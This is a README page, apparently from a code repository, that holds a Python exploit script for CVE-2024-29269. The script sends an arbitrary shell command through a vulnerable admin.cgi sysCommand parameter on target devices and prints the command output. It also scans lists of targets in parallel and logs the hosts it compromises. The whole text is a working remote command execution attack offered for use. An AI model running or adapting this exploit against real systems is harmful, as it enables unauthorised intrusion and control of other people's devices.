README.md
Rendering markdown...
import requests
import xml.etree.ElementTree as ET
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
from concurrent.futures import ThreadPoolExecutor
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
banner='''
___ __ ____ ___ ____ _ _ ____ ___ ____ __ ___
/ __\/\ /\/__\ |___ \ / _ \___ \| || | |___ \ / _ \___ \ / /_ / _ \
/ / \ \ / /_\_____ __) | | | |__) | || |_ _____ __) | (_) |__) | '_ \ (_) |
/ /___ \ V //_|_____/ __/| |_| / __/|__ _|_____/ __/ \__, / __/| (_) \__, |
\____/ \_/\__/ |_____|\___/_____| |_| |_____| /_/_____|\___/ /_/
PowerBy:YongYe_Security
'''
def check_target(target, cmd):
url = f"{target}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={cmd}"
headers = {
"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
"Connection": "close"
}
try:
response = requests.get(url, headers=headers, verify=False, timeout=5)
result_lines = []
result_text = f"{response.status_code}\n"
response_data = response.text
root = ET.fromstring(response_data)
cmd_results = root.findall(".//CmdResult")
if cmd_results:
with open('result.txt', 'a') as f:
f.write(f'{target}\n')
for index, cmd_result in enumerate(cmd_results, start=1):
Command_result = cmd_result.text.strip()
if index == 1:
print(f"\t[+]{target}\t\t{Command_result}")
else:
print(f"\t\t{' ':<{len(target)+10}}{Command_result}")
except Exception as e:
pass
print(banner)
parser = argparse.ArgumentParser(description='Python3 CVE-2024-29269.py --help')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', dest='target', help='Target URL')
group.add_argument('-f', '--file', dest='file', help='Target File')
parser.add_argument('-c', '--cmd', dest='cmd', default='id', help='Cmd')
parser.add_argument('-t', '--threads', dest='threads', type=int, default=10, help='Number of threads')
args = parser.parse_args()
if args.target:
target = args.target
check_target(target, args.cmd)
elif args.file:
with open(args.file, 'r') as file:
lines = file.readlines()
targets = [line.strip() if line.startswith(("http://", "https://")) else f"http://{line.strip()}" for line in lines]
with ThreadPoolExecutor(max_workers=args.threads) as executor:
executor.map(lambda t: check_target(t, args.cmd), targets)